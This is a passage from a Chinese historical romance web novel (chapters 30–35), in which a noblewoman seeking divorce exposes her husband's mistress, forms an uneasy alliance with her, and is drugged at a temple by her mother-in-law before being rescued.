《成全你与外室,我和离你哭什么》 第三十章 搅得家宅不宁 看着柳楹莹如此悲痛,还能如此善解人意,段骆岐的脸上满是心疼。 他伸手紧紧揽住了柳楹莹的肩膀安慰道,“你放心,只要我不答应,没有人能把你们赶回岭南,你们安心住着!” 说着,段骆岐的目光落在杜明月的身上,晦暗不明,“从今日起,我会加派人手保护你们的安全。” 杜明月冷冷的挪开眸子,心里想的是,倒也不必如此费劲。 只要给她一纸和离书,这偏院定然安安稳稳无事发生。 “好了,小小姐醒了。”府医还算医者仁心,并不在意柳楹莹刚才和段骆岐说了什么,而是专心扎针,当看到甜儿眼皮微动,手指翘起,立马露出了一抹欣慰的笑容。 杜明月闻言也急忙抬眸,只见柳楹莹此时已经坐在床边了,一脸期待和激动的握着甜儿的手。 段骆岐也走了过去,期待甜儿完全睁开眼睛。 然而,下一瞬,让所有人没想到的一幕发生了。 当甜儿看清自己眼前坐的是自己的娘亲柳楹莹时,突然满眼惊恐和委屈,如同受惊的小兽一般,猛地抽出自己的手,躲到角落,将自己蜷缩成小小的一团。 她下意识的拼命摇头,“娘,我不要吃,不要吃,我肚肚痛……” 说着,她像是想起了什么可怕的事情,突然放生大哭了起来,双眼紧闭,泪水浸湿了整张小脸。 “这……”段骆岐见状一愣,疑惑的看向柳楹莹,居高临下的目光中满是打量和隐忍的愤怒。 难不成,她又一次骗了自己? 段骆岐的心猛地一沉,如果这是真的,那他就又一次误会了杜明月。 他猛地推开柳楹莹,坐在床边,死死的抓着甜儿的手问道,“甜儿,告诉爹,你今日都吃了什么,是谁逼你吃的?你今日还见过谁?” “呜呜……”甜儿似乎被攥疼了双手,缓缓睁开眸子,又被段骆岐这副样子吓到,只能抽抽噎噎的如实开口道,“今日,今日一直和娘亲在一起,没见过别人。” “糖糕,只吃过糖糕,是娘让我吃的,”甜儿说着又痛哭了起来,“我说肚肚痛,娘还一直让我吃……” 杜明月闻言,心中暗叹:到底是只有三岁,不懂事也不会说谎的年纪。 “你胡说什么!”一旁的柳楹莹反应过来,急忙用帕子去捂甜儿的嘴,可是已经来不及了,“侯爷,你别听她乱说,小孩子都是满口胡说的,她粘我,所以一直只说我……” “够了!”理清楚一切的段骆岐满腔愤怒,感觉自己好像被当猴耍了一般,沉默着起身,接着抬手就狠狠给了柳楹莹一个巴掌。 柳楹莹被打的先是撞上了一旁的柜子,接着摔在地上,额角立马有鲜血顺着眉骨留下。 她一脸害怕的看着向他靠近的段骆岐,觉得他此刻如同那索命的恶鬼,周身都散发着骇人的气势,她吓得只能连连后退。 “你连自己的儿女都不放过,你怎么如此狠毒!”段骆岐又是几个巴掌狠狠落下,毫无顾忌的发泄着心中的怒火。 柳楹莹的嘴角已经渗出血丝,不住的求饶,可段骆岐竟然还没有停下来的意思。 他似乎是在用这种方式告诉杜明月,他在替被污蔑的杜明月讨回公道。 杜明月无心看这种狗咬狗的戏码,既然已经洗脱了自己的嫌疑,后续他们之间的事情,她毫无兴趣也不关心。 “咱们走。”杜明月淡淡开口,正要迈出门口,却被气势汹汹走来的段老夫人一行人堵住了去路。 段老夫人一见杜明月就怒从心中生,不问青红皂白就开始指着她骂起来。 “你这个贱妇!到底还要把我们侯府害成什么样你才甘心!”段老夫人咬牙切齿道,“侯爷真真是娶错了人,你搅得侯府这样家宅不宁的,应该关祠堂!上家法!” 段老夫人说着,还朝屋里大喊一声道,“老大!你还在等什么!还不赶紧把她绑了上家法!这次决不能轻饶!” 屋里的段骆岐闻言,急忙走出来解释道,“母亲,不是的,这次的事情不是明月做的……” “老大!你怎么还不明白!”段老夫人有些急了,“侯府现在被她搅得家宅不宁,桩桩件件都和她脱不了干系!只有她离开,这个家才能重新安定兴旺起来!” 段骆岐一愣,还没来得及开口,杜明月却笑了。 她冷冷的开口,目光直直的盯着段老夫人的眸子,没有丝毫畏惧,“这个家兴旺不起来的,知道为什么吗?” 段老夫人一愣,满眼怒火。 “因为老侯爷娶错了人!”杜明月淡淡道,“真正让这侯府家宅不宁的是你!你是非不分,贪财虚荣,愚蠢迂腐,不能庇佑子孙,福泽不能绵延三代,说的就是老夫人你这样的人吧?” “你……你……”段老夫人几乎要气得晕死过去,指着杜明月的手微微颤抖。 “现在明白了吗?”杜明月勾唇冷笑,看着段老夫人气得脸色煞白,只觉得心里痛快。 杜明月迈开步子,不再多看段老夫人一眼,与她擦肩而过,红豆也连忙跟上,两人就这么目中无人,气势十足的踏出了门槛。 被羞辱的段老夫人忍不下这口气,突然转身朝着院子里的家丁大喊,“给我拦住她!” “捆起来!”段老夫人几乎是用尽了全部的力气,“今天必须上家法!” “砰!” “砰!” “砰!” 段老夫人话音未落,红豆就已经接二连三的踹飞了上前阻拦的家丁,出手敏捷,干净利落,甚至完全没有影响到杜明月前进的步子。 杜明月在红豆的护卫下,一路步子不停,步履坚定到甚至有些嚣张的离开了院子。 在众目睽睽之下,红豆出院门之前,还突然停下脚步回头做了个鬼脸,然后一脸开心得意的跟上了杜明月的步伐,两人双双消失在众人面前。 “这……这……”段老夫人气得胸口起伏,几乎是上期不接下气,“她这是要故意气死我!” 她转身看向段骆岐,“你就看着她这么放肆?” 第三十一章 结盟 段骆岐忽视了段老夫人的话,望着杜明月离开的方向心绪复杂,他又一次伤了杜明月的心。 他明明不想这样的,可不知道事情为何最终总是变成了这样。 “你!你竟然!”段老夫人见段骆岐始终沉默着,就当他是默认了,心里一口气上不来,真的白眼一翻晕了过去。 此时她带来的那些家丁见状,连忙上前去扶,众人手忙脚乱扶住后,有些不知所措的看向段骆岐。 段骆岐只觉得太阳穴传来一阵一阵的抽疼,一挥手,让下人将她带走了。 “府医,你去给母亲瞧瞧吧。”段骆岐叹了口气,声音有些嘶哑和疲惫。 府医闻言,立马背上药箱出去了。 屋里安静的可怕,被识破计谋的柳楹莹此时肩膀一抽一抽的,却不敢哭出一点声响。 “你真的太让我失望了。”段骆岐望着柳楹莹心寒的摇头,“川儿和甜儿是你亲生的孩子啊!你居然一而再,再而三的用他们去陷害杜明月!” “我真的没想到你是这样的人!” 或许是太过失望,段骆岐甚至连抬手打翻桌上茶具的力气都没有,也不想再和柳楹莹废话了。 “从今日起,川儿我来看顾,甜儿送到母亲那里养着,”段骆岐沉思了片刻道,“而你,去佛堂跪一个月,没有我的允许,不许出佛堂半步!” 随着段骆岐的声音落下,柳楹莹如同被人抽干了所有力气一般,瘫坐在地上,双目失神,不知所措。 好半晌,她才猛地回过神来,急急的抱住了准备踏出门槛的段骆岐。 “侯爷,不要,不要走,你听我解释。”柳楹莹泪流满面,悔不当初,“我也是没法子啊,姐姐容不下我们,我怕姐姐对两个孩子下手,所以……” “所以你就准备先下手为强?”已经没了耐心的段骆岐突然弯腰一把掐住了她的脖子,狠狠用力,柳楹莹吓得瞪大了眼睛,没一会脸色一片涨红。 “那可是你自己的孩子啊!确实是我识人不清,竟然不知道你如此愚蠢、歹毒!”段骆岐猛地一推,柳楹莹瘦弱的身子倒向了房门的另一边。 “看来一个月的禁闭时间还是太少了!那就一直关到你清醒为止!”段骆岐一甩袖子,大步迈出门槛,头也不回的只给柳楹莹留下一句令人绝望的话。 摘月居。 杜明月正坐在窗前读书,被派去盯梢的红豆回来了,她一路小跑进了屋。 “主子,奴婢刚才瞧见那外室被人关进佛堂了!”红豆话音落下,杜明月正在看书的手一顿,却并未抬起头来,而是继续翻看书页。 “还有,刚才好像是丞相府来人,不知道说了什么,只看到侯爷面色铁青的跟着他出了门,上了董府的马车。”红豆随手掂着桌上的小摆件道,“也不知道是为了什么事。” 闻言,杜明月突然抬起头来,满眼警觉,“董丞相?” 红豆以为自己传错了什么话,仔细想想确实没错,肯定的道,“是,我看见那马车上的标识了。” 杜明月不知为何心中隐隐不安了起来,她捏着书页的手用力攥紧。 “会是为了什么事?那件事不是已经过去很多天了吗?” 杜明月低声喃喃自语,心绪难平:难不成那件事董丞相又找到了新的借口,打算翻脸不认账了? “主子你在说什么?什么过去很多天了?”红豆一脸疑惑,看到杜明月一脸担忧和失神,忍不住开口。 “没什么。”杜明月回过神来,深吸一口气将书籍合上。 无论是什么事,若是和自己有关,那段骆岐回来一定会来找自己的。 只是不管是为了什么,她还是要尽早拿到和离书离府才是,毕竟现在她只要还留在镇南侯府一天,她就容易被掣肘,被段骆岐再次找到机会算计。 “红豆,去佛堂。”杜明月眼眸一亮,像是下了很大的决心。 既然柳楹莹想要这侯府夫人的位置,那她就拱手送上,她相信对柳楹莹这么有利的条件,她是不会拒绝的。 虽然她们彼此都恨着对方,但只要目的一致,她相信那就还是可以化干戈为玉帛,暂时结盟的。 佛堂外,有段骆岐安排的婆子把守,很是尽职尽责,一听到有人来,立马露出了警觉的神色。 只是当看到来人是杜明月时,都暗暗松了口气,立马行礼。 杜明月淡淡点头,低垂的目光落在了那把结实的铜锁上。 看来段骆岐这次确实动怒了,不然怕是不会舍得这么关着柳楹莹。 “打开。”杜明月面无表情的淡淡开口,那守门的婆子一愣,随即面露难色,十分犹豫的不敢动手。 “怎么,你还怕我把人放走不成?”杜明月眸光犀利的扫了那婆子一眼,浑身散发着当家主母的威严。 那婆子一愣,立马摇头道,“奴婢不敢。” 这婆子往日就是在段骆岐那边伺候的,因此往日没少得过杜明月的好处,对她自然也是发自内心的敬着的。 虽说府里下人们都觉得杜明月自东宫回来后,整个人只剩下威严,没了当初的温和,但总归是没有苛待责罚他们,府里上下也是依然拿她当夫人待。 “奴婢这就开门。”那婆子边说着,边动作利索的开了锁,然后恭敬的退到一边。 杜明月满意的点头,也没有为难这婆子,只道,“你在这里候着吧。” 那婆子闻言,也是立马松了一口气,甚至伸手主动替她推开了房门。 杜明月一进门,一阵微风夹着檀香的香味迎面吹来,让她不自觉的眉头微皱。 从东宫出来这么久了,她始终还是不喜欢这股味道。 杜明月压下心头的嫌恶,快走了几步,进了内堂,便看到柳楹莹跪在地上,一脸憔悴和虚弱,甚至有些摇摇欲坠。 “你来干什么?”原本还跪的有几分东倒西歪的柳楹莹抬头,看到是杜明月站在自己面前,硬是强撑着直起身子,满脸警惕和敌对,“是来笑话我的?” “这下你满意了?”柳楹莹的声音喑哑,半点不见她刚来时婉转动听的嗓音。 “我不是来笑话你的,我是来与你结盟的。”杜明月开门见山,也不卖关子。 第三十二章 单独见一面 “我本就无意针对你。”杜明月垂眸认真道,“你想做正妻,我想和离,天下还有比我们两个更适合结盟的吗?” “你说什么?”柳楹莹不敢相信自己的耳朵,虽然说话的声音依旧是有气无力,但眼睛却亮了起来,“你真的要和离?” “真心和离。”杜明月在她面前蹲了下来,平视她的眸子道,“所以现在可以冷静听我说了吗?” 柳楹莹盯着杜明月的眸子沉默了许久,终是将信将疑的点了点头。 供案上的香炉冒着缕缕青烟,模糊了杜明月和柳楹莹的身影。 门外的婆子见过了许久杜明月还没有出来,有些焦躁不安的在门外踱着步子,时不时往屋里张望。 奈何房门紧闭,她又什么都听不到,正在纠结要不要进去看看时,杜明月突然推门出来了。 杜明月看了她一眼,那婆子尴尬的讪笑,正要开口解释什么,杜明月却先开口道,“把门锁好吧。” 说完,杜明月扬长而去,面上的表情和来时一样淡漠、冷静。 那婆子一愣,连忙躬身,目送她离开后,立马转身将铜锁锁好。 也不知道自己到底晕了多久的段老夫人,是被一阵孩童的哭闹吵醒的。 她一脸不耐烦和恼火的循着声音去看,却看到是自己的孙女甜儿正坐在地上大哭,眼前两三个婆子和丫鬟劝也劝不住。 “吵死了!闭嘴!”段老夫人实在被吵得受不了,起身朝着甜儿走去,用手一指恶狠狠的道,“再吵把你丢出去!” 甜儿或许是被吓到了,又或许是她感觉到了危险,总之确实止住了哭声,但别别扭扭的总想往外跑。 “真是外室养的,上不了台面!”段老夫人低声嘀咕了一句,一挥手道,“让她出去,你们跟着就是了。” 那些丫鬟婆子们一听,也不敢拦着了,见甜儿立马跑出门去,也只能无可奈何的追了上去。 甜儿先是在府里胡乱的跑着,嘴里叫了两句“娘亲”以后,始终见不到柳楹莹出来应她,突然看到一个有些熟悉的院子,停下了脚步。 牌匾上挂着三个大字“摘月居”,她不认得,只是觉得自己来过,于是犹犹豫豫一脸好奇的迈了进来。 而不知何时,她身后的那些婆子丫鬟们都不见了,她一个人安安静静的进了院子,鼻尖微动,好像闻到了什么点心的香气,就直勾勾的朝着香味散发来的地方走了过去。 红豆才刚摆饭好几盘点心,端着托盘准备出去,就在门口看到了怯生生望着门内的甜儿。 “主子,主子,您看。”红豆一愣,也不知道如何是好,立马叫起了杜明月。 她话音未落,杜明月已经走到了门口,见是甜儿也是一愣。 她这个时候,不是应该在段老夫人那里吗,怎么跑到这里来了? 杜明月还未来得及开口,甜儿突然纯真一笑,冲过来抱住了杜明月的腿。 面对甜儿突然的亲近,杜明月一愣,连忙将她拉开。 “你一个人来的吗?”杜明月下意识开口,懵懵懂懂的甜儿只是点头。 杜明月叹了口气,三岁的孩子,也不能指望她懂太多,想了想对红豆道,“先把她带进来吧。” 红豆闻言,立马手忙脚乱的将甜儿领了进来,让她在杜明月对面坐下。 甜儿一看到桌上的这几盘糕点,两眼放光,竟然反常的不哭也不闹,反而乖巧试探的伸出手指指了指盘子,黑亮的大眼睛渴望讨好的看向杜明月。 “吃吧。”杜明月只能将盘子往她跟前推了推,看她狼吞虎咽的吃着,抬头道,“你去那边看看,叫人来领回去吧。” 红豆领命去了,杜明月静静的看着甜儿,目光深邃沉静。 如果她的两个孩子还活着的话,小的也该有这么大了。 她正想着,甜儿看着她突然像是想起了什么,拿着一个酥饼绕过桌案,走到了她面前,甚至还走到她腿边撒娇的蹭了下。 “吃,好吃,甜甜的。” 杜明月一愣,急忙接了下来,却并不吃,反而不着痕迹的轻轻将她往外推了推,“去那边坐着吃吧。” 说实话,眼前这孩子确实长得可爱,如果是别人的,她或许还会亲昵的摸两下,可她偏偏是段骆岐和柳楹莹的,所以杜明月不想给自己惹麻烦,也不想亲近。 小女孩什么都不懂,但也没有继续往她跟前凑,而是乖乖走过去坐下了。 甜儿又吃了两口,红豆急匆匆的回来了,身后还跟了一个婆子和丫鬟,两人都气喘吁吁的。 “带回去吧,万一在这府里走丢了,老夫人问起来,你们担待不起。”杜明月淡淡开口,那两人一肚子苦水,却什么都不能说,只能乖乖将人哄走了。 直到酉正时分,段骆岐才一脸忧愁的回了侯府。 他刚进门不到两刻钟,段骆霖也骑着踏雪一路狂奔回来了。 段骆霖在门口翻身下马,甚至都来不及拴马,直接将缰绳往门口的小厮怀里一扔,急冲冲的去找段骆岐了。 天色已经灰暗下来,书房黑漆漆一片。 黑暗中,段骆岐就那样定定的坐在椅子上,失神的久久没动一下。 书房一片死一般的寂静,直到段骆霖横冲直撞的猛的将门推开,才将段骆岐惊得猛地回过神来。 “大哥!我见到董宇了!董宇说得是不是真的!”段骆霖冲到段骆岐跟前,一把将他拉了起来,大声吼道,“你说话啊!我问你,他说得是不是真的!” 面如死灰的段骆岐眉头一皱,一把将他推开,还狠狠的给了他一拳。 “这事儿还不是你惹出来的!你说现在怎么办!”段骆岐也失控的大吼着,他紧紧的攥着自己的胸口,好像他的心脏被什么东西狠狠的攥着,他有些喘不上气来。 段骆岐一脸痛苦的指着段骆霖道,“我千叮咛万嘱咐,让你不要冲动,不要惹事,你倒好……” “现在好了,董丞相处处针对我,我现在在朝廷上真的是如履薄冰,进退两难,你说怎么办!我也不想!” “所以董宇说得都是真的?”段骆霖也如遭雷劈,“他说只要你同意让他单独见一次大嫂,他就能出面劝说董丞相不再针对侯府……” 第三十三章 珈蓝庙还愿 “你已经答应了?”段骆霖的声音莫名一哑,没有继续问下去,他死死的盯着段骆岐,想听他开口否认,可是他没有。 一片死寂中,兄弟二人无言相顾,却又彼此心知肚明。 他们心中其实都明白,董宇的要求不合理,到时董宇见了杜明月,会发生什么,他们也都能预见。 可是即便如此,为了侯府的未来,他们根本没有选择的余地。 “你真的同意了。”段骆岐的沉默让段骆霖冷笑出声,突然又一拳重重打在桌子上,像是在发泄对他们无能的愤怒。 段骆霖苦笑着咬牙:是啊,他的大哥拒绝不了,他也没有能力拒绝。 段骆岐焦躁的扶着额头,同样不愿面对这个事实,“是啊,不同意又能怎么办,这是唯一的办法了,只能同意……” “不过,还好只是见一面,我相信明月不会做对不起我的事。”段骆岐攥紧双手,似是在安慰自己似。 听到这话的段骆霖也像是一下子被点醒,他双眸再次恢复了光亮,安慰自己道,“没错,没错。而且那董宇已经是个废人了,即便他真的想发生什么,也无能为力。” 这么一想,兄弟二人竟然莫名的松了口气,自欺欺人的想着,只是见一面,什么事都不会发生。 “只是,如果照实说,大嫂不会同意吧?”黑暗中,段骆霖又突然开口。 段骆岐一愣,确实,如果照实说,杜明月肯定不会同意。 那该怎么办? 就在段骆岐六神无主,烦躁的在书房内踱着步子时,段骆霖突然开口道,“有了,不如干脆就瞒的彻底一点。把和董宇的这次见面伪装成一次意外怎么样?” “你的意思是?”段骆岐一愣,立马反应了过来,欣喜若狂的急忙点亮了书房的油灯。 “仔细说说,你打算怎么办?”段骆岐大喜过望,如同看见了希望。 “上月,母亲不是还在说,等大嫂从东宫回来,要带她一起去珈蓝庙嘛。后来是因大嫂回来性情大变,母亲又常常被她气的卧床不起,所以这件事才一直耽搁了。” 段骆霖顿了顿,若有深意的笑道,“现在是时候该去庙里拜一拜了。” “怪不得母亲从小就说你机灵!”段骆岐松了口气,只要杜明月相信这是意外,那么不管发生什么,她都不会怪到他的头上。 说不定她还会为此事感到愧疚,不再提和离,转头讨好自己! “你立刻去同母亲说。”段骆岐心中隐隐有些激动,此事若是成了,那岂不是一石二鸟。 段骆霖立马点头,十分自信道,“好,只要我将这其中的利害关系说与母亲,她一定会帮我们促成这件事。” “没错。”段骆岐喜不自胜,“这样一来,明月事后要怨恨也只能怨恨董宇。” 戌时,摘月居,杜明月房中烛火通明。 “主子,那玉荣膏果然有奇效,您身上受的那些伤都要看不见了。”红豆一边感叹,一边给刚刚擦完药的杜明月拉上里衣。 杜明月微微点头,确实,她恢复的比自己想象的要快。 这大概都是托了慕子叙的服吧。 不知为何,杜明月一想到慕子叙那张谪仙般清冷孤傲的面庞,内心所有的躁动不安就能抚平。 或许真是同病相怜了吧。 这么一想,杜明月微微勾起了唇角,却不经意间让红豆看呆了,“主子,你长得真好看。” 红豆向来直抒胸臆,杜明月回头微笑着点了点她的脑门道,“天色不早了,快去睡吧。” 此时的杜明月还不知道,一张大网正向她张开陷阱。 翌日,杜明月才用过早膳,正喝着红豆递来的早茶,段老夫人就了两个嬷嬷直接进了门。 “收拾一下,跟我出门拜佛还愿。”段老夫人身形略显僵硬的站在杜明月面前,身子侧对着她,似乎很是不情愿,但又不得不强忍不满开口。 段老夫人异样的举动落在杜明月眼中,下意识的觉得哪里不对劲。 “谢老夫人好意,今日我还是不去了。” 杜明月淡定的将手中的茶盏放入红豆手中,转身背对着段老夫人道,“老夫人想去,还是和别人一起去吧,我说话不好听,再把老夫人气出个好歹来就不好了。” “你……”段老夫人下意识的伸出手,气的浑身颤抖咬牙切齿,可是一想到段骆霖昨晚和自己说得那些话,硬生生的将想要骂出口的话压了下去。 “明月,你看你自从东宫回来就不对劲,还是和我一起去寺庙拜拜吧。” 段老夫人耐着性子好声好气的道,“好歹,一年前,你入东宫时,我曾去求菩萨保佑你平安归来,如今也算是如愿了,自然是要去还愿的。” 听到这话,杜明月身形一顿,也想起了一年前她去珈蓝庙许愿的事。 那时,她还满心满眼都是段骆岐,无论为侯府做出多少牺牲,她都心甘情愿,甘之如饴,她许愿自己平安归来,能一直陪在自己爱的人身边…… 如今想来,也真是讽刺,不过一年的光景,一切就都变了,她付出了一切,只得到了背叛和利用。 不过好在爱她的外祖母还健在,等她拿到和离书,立马回江南。 这么一想,她如今已平安归来,确实也是日子该去还愿了,一直拖着也不好。 “好。我去。”杜明月温润的声音想起,段老夫人一喜,立马示意婆子们赶紧去准备。 “你愿意和我一起去真是太好了,走吧,我一早已经命人将所有东西都准备好了。”段老夫人像是生怕杜明月又反悔似的,十分急切,恨不能立马拉了她上马车。 杜明月对她突如其来的热情始终抱有警惕,但看了看紧紧跟在自己身边,寸步不离的红豆又觉得应该不会有什么危险。 如果段老夫人真有什么阴谋,那也不过是想找机会把自己绑起来上一顿家法吧,只要红豆在,她是绝对不会得逞的。 这么想着,杜明月心中也就放松了下来。 当杜明月等人正要迈出门槛时,身后突然传来了柳楹莹的声音。 “老夫人!老夫人!”柳楹莹一面喊着,一面快步跑到段老夫人面前,目光扫过杜明月脸上时,不着痕迹的停留了一瞬。 第三十四章 在茶里下了什么 “你怎么出来?”段老夫人一见她,立马警惕的挡在杜明月和她中间,像是生怕她今日又冲撞了杜明月,坏了她的计划一般。 柳楹莹咬了咬唇道,“昨夜在佛堂晕倒,侯爷念在我们多年的感情,终究不忍心,便将我放出来了。” “我听说老夫人要去珈蓝庙,我也想去拜拜给川儿祈福,希望她能早日康复。”柳楹莹试探的开口,满眼都是真诚。 段老夫人张了张口,下意识的偷偷拿眸子扫了杜明月一眼。 今日什么事情都没有将杜明月骗进庙里重要! 她干咳了一声道,“今日,我是要带明月去还愿的,你之前三番四次冲撞了她,你能不能去,得明月说了算。” 不知为何,杜明月听她一声声的唤自己名字,十分不悦,便皱起了眉头。 段老夫人以为她不同意,便立马开口道,“不行!你还是回去,改天再去吧!” 说着,段老夫人转身就要走,却听杜明月淡淡的开口了。 “一起去吧。”杜明月说完,便转身出了大门,身后柳楹莹一喜,立马也跟着出了大门,留下段老夫人一脸疑惑和不解。 在婆子的催促下,段老夫人这才急忙出了门,而此时杜明月早就已经上了马车,在里面端正坐着,只有柳楹莹一人在马车旁站着,不敢逾矩。 商户女就是商户女,一点规矩都没有! 段老夫人忍不住在心里暗暗骂了一句:要不是今日必须带你去,我早将你赶下马车了! 等段老夫人上车后,还没坐稳,却看到红豆将她那燃着檀香的香炉直接从窗子里扔了出去。 “大胆奴才,你这是做什么!”段老夫人瞪圆了眼睛,恶狠狠的瞪着红豆。 红豆不以为意的耸肩,“主子闻不得这个味道。” “你……”段老夫人突然又反应过来,她竟然和一个奴婢同乘一辆马车,杜明月当真是倒反天罡,一点规矩都没有了! “一个奴婢,竟然敢和主子们同乘,滚下去!”段老夫人喝道,“你真当侯府一点规矩都没有了?” 红豆不屑理她,“主子让我贴身跟着,我得保护主子。” “你……”段老夫人还想开口说什么,却看到杜明月准备起身,她立马急了,“算了算了,你们坐着吧,得亏侯府的马车足够大!传出去像什么样子!” 等车内安静了一些,柳楹莹才犹犹豫豫的上了马车,见车内气氛有些压抑,便安静的低下头,一路上一言不发。 很快,马车在珈蓝庙的山门前停下,杜明月等人从马车上下来,准备徒步登上台阶入内。 珈蓝庙的台阶不算长,但登上台阶的人每一步都走很虔诚。 “听说这里很灵,是真的吗?”柳楹莹小心翼翼的跟在后面,看着来来往往络绎不绝的人们,还是小声问了旁边婆子一句。 此时,杜明月已经到了正殿门口,先是跪下还愿,之后捐了香油钱,默默点了两个长明灯。 望着眼前的长明灯,杜明月眼神明灭带着悲伤,现在她唯一能替那两个未出世的孩子做的,也只有这个了。 她在心里默默的祈祷:下辈子一定要再来找她,到时她一定好好把他们养大,把所有最好的东西都给他们。 她转身时,看到段老夫人也已经从跪着的蒲团上起来了。 段老夫人常常拜佛,过去杜明月也有跟着,知道她与住持很熟,因此看到她和住持攀谈几句后,被请进了内室,心中也并未起疑。 段老夫人进去后,住持出来和以前一样客气的将杜明月也请了进去。 杜明月看着眼前熟悉质朴的场景,感受着淡淡的果香,整个人都放松了不少,因此忽视了段老夫人给她递茶时紧张的神色。 “红豆,你去将马车上遗忘的包袱拿下来。” 段老夫人一见杜明月咽下了那杯茶,心中暗暗松了一口气,心中的笑意从眼角眉梢倾泻出来,想藏都藏不住。 此时药力还未发作,杜明月也不觉有异,红豆理直气壮的站在她身边道,“老夫人,你的包袱使唤那你的奴婢去拿吧,我得寸步不离的守着我的主子,万一有歹人使坏可不行。” 红豆故意指桑骂槐,气的段老夫人脸上红一阵白一阵,却不能发作,只能暗暗咬牙。 早晚有一天把你乱棍打死! 杜明月始终沉默,算是默许了红豆的言行,她正准备起身离开,突然感觉心脏猛地跳动了一下,她桌下准备站起的双脚也突然变得无力。 糟了! 杜明月突然意识到:她还是大意了! 这个老东西在茶里到底下了什么!低垂的眸子里闪过浓浓的恨意。 她本想拿到和离书就走的,看来现在不能了,整个侯府如此算计自己,她必须要让他们付出代价。 抠着桌子的手暗暗用力,杜明月不敢露怯,只能强装镇定,当做什么事情都没有发生。 她抬头看向红豆,压低了声音暗示道,“老夫人让你去拿就去拿,你果真时没有规矩了,竟然敢不听老夫人的话!出去看看,快去快回。” “主子,我……”红豆下意识开口,原本疑惑不解的眸子对上杜明月的眸子后立马就懂了。 没错,正常情况下,杜明月是不会这么命令她的,突然之间如此反常,那只有一个可能…… 红豆立马拔腿就往外走,她明白杜明月一定是发现她中了圈套,让自己想办法破局。 她急匆匆往外跑,却不想刚出了正殿大门,就被拐角处伸出来的一只手用帕子捂住了口鼻。 帕子的味道不对,她立马屏住呼吸,拼命的挣扎,接着用手肘狠狠撞向对方的脖子,接着转身又是狠狠的一脚。 眼前的男人倒下了,她正要看清对方的脸,却突然敏锐的发现又有人凶神恶煞的朝着这边靠过来了。 跑!红豆脑子里只有一个想法,她要去搬救兵! 红豆在人群中飞快的穿梭,她发现身后的那些人虽然想抓住她,却又明显不敢引起明显的骚.乱。 于是,她加快了步子,在寺庙里七绕八绕的终于将人甩掉,转身跑到了后院的竹屋中。 此时竹屋中有袅袅的炊烟升起,红豆脸色一喜,松了口气,眸子却因激动而微微泛着泪光。 她急忙推门而入,屋内的人听到动静,立马走了出来。 红豆一见对面的人,立马忍不住哭了出来。 第三十五章 只是蒙汗药 “公子,能在这里找到你真的太好了。”红豆狠狠地用手背擦了一下眼泪,抬头着急的道,“我家主子被人算计了!” 她的话还没有说完,慕子叙已经如一阵风一般,着急的刮到了她的跟前,全然没有以往冷静自持的模样。 “带我去!”慕子叙压抑着眼底的担忧和不安,急急的催促着。 红豆重重的点了点头,立马一路小跑在前头带路。 她身后跟着的,除了慕子叙和他的小厮伴竹,还有刚刚正在和慕子叙谈话的住持,他没想到竟然会在珈蓝庙发生这样的事情,也是一脸的着急和震惊。 “公子,帷帽。” 远远的看到寺庙内人头攒动,小厮伴竹立马拿出了一直攥在手里的帷帽。 慕子叙虽然此时已是心急如焚,但还是停下脚步,匆忙的伸手接了过来。 确实,他作为南风馆炙手可热的拂星公子,若是以真面目出现在这里,必然引起众人的注意,到时候他再想进去找杜明月就难了。 果然,带上帷帽以后,一路十分顺利,即便有人好奇下意识打量,却根本看不清样貌,只是匆匆擦身而过,没有引起任何的注意。 “公子,这边走。”进了正殿以后,住持压低了声音,带着他们进了正殿后的内室。 正殿后的房舍,也分前院和后院,段老夫人以前便常常在前院的房间休息,这次也不例外。 今日又恰巧是住持亲自接待的段老夫人,因此很快就找到了杜明月所在的房间。 住持直到现在,还是不能相信,段老夫人竟然在他珈蓝庙做出这种下作害人的勾当来。 “这里。”住持到了房门前,轻声的开口,朝着慕子叙暗示的点了点头。 慕子叙会意,立马和红豆、伴竹等人将身形隐匿在一旁的帘子后面。 住持抬手敲了敲门,“段老夫人,刚才贫僧将一串佛珠落于此,可否方便进来取?” 住持说完,身子往前凑得更近了一些,甚至直接将耳朵附在了门上,可是久久不见屋里有人回应。 坏了,看来是真的出事了,但愿一切还来得及! 他猛地将房门一推,一旁的慕子叙和红豆等人也不藏了,立马冲进了屋子。 慕子叙焦急的走向床榻,一眼就看到晕倒在床上的杜明月,她安安静静的躺着,脚上的鞋子也已脱下,一看就是晕倒后被人安置于床榻上的。 一想到,镇南侯府的人竟然如此算计、坑害杜明月,慕子叙那藏在宽袖下的双手便攥紧了拳头,指节也因用力而泛白。 他不敢想象,如果他今日没有来的话,杜明月会遭遇什么。 “侯夫人,侯夫人,你醒醒?”慕子叙来不及思考,直接走过去扶起了杜明月,将她抱在怀中,轻声呼唤,声音中带着焦急和不安。 杜明月浑身脱力,双手因为慕子叙的晃动而滑落下来,就在慕子叙担忧得准备将她抱起带走时,杜明月缓缓的睁开了眸子。 或许是因为药效未退,杜明月睁开的眸子里满是疑惑和懵懂,像是忘了自己现在身在何处一般。 杜明月的眸子才刚刚有了焦点,落入眼帘的便是慕子叙那张清冷俊美的脸庞。 不知道是不是因为整个人还迷迷糊糊的原因,杜明月觉得好像在他脸上看到了惊慌失措,担忧不安的神情。 杜明月闭上了眸子,淡淡的勾了勾唇。 奇怪,她怎么出现幻觉了,怎么会在这个时候想起慕子叙来。 可是当她再次睁开眸子,发现眼前的人真是慕子叙时,整个人一下子愣住了。 四目相对,两人都直勾勾的盯着对方,杜明月觉得自己好像要溺在慕子叙那双深潭似的黑眸里了。 她有些疑惑,以往慕子叙看人的目光也是如此炙热和大胆吗? 不过下一瞬,慕子叙好像意识到了什么,立马收敛了自己的神情,努力克制住自己想要触碰杜明月的欲望,脸上又恢复了往日那副云淡风轻,清冷孤傲的模样。 杜明月觉得,果然是她看错了,接着便准备撑着床沿起身。 慕子叙见她没事,心里暗暗松了一口气,眼角眉梢染上了浅浅的,并不明显的笑意。 “没事就好。”慕子叙低声呢喃了一句。 他看到杜明月已经完全清醒过来,自觉他似乎将人抱得有些紧了,立马放手,将红豆唤来,看着坐起来的杜明月靠在了红豆的身上。 “慕公子,你怎么在这里?”杜明月的头还有些疼,身上也有些乏力,下意识的开口询问。 “主子是我恰巧出门碰见的。”红豆急忙回答,慕子叙也默认了。 闻言,杜明月看向红豆,见她眼里还泛着担忧和害怕的泪光,欣慰的扯了扯嘴角。 还好,红豆回来了,自己没事了。 “对了,茶水……”杜明月想起了什么,立马伸手指了下桌上的东西。 让杜明月也有些意外的是,那些东西居然都在,这似乎也证明了段老夫人完全没有将她放在眼里,甚至不觉得自己会为此惹上麻烦。 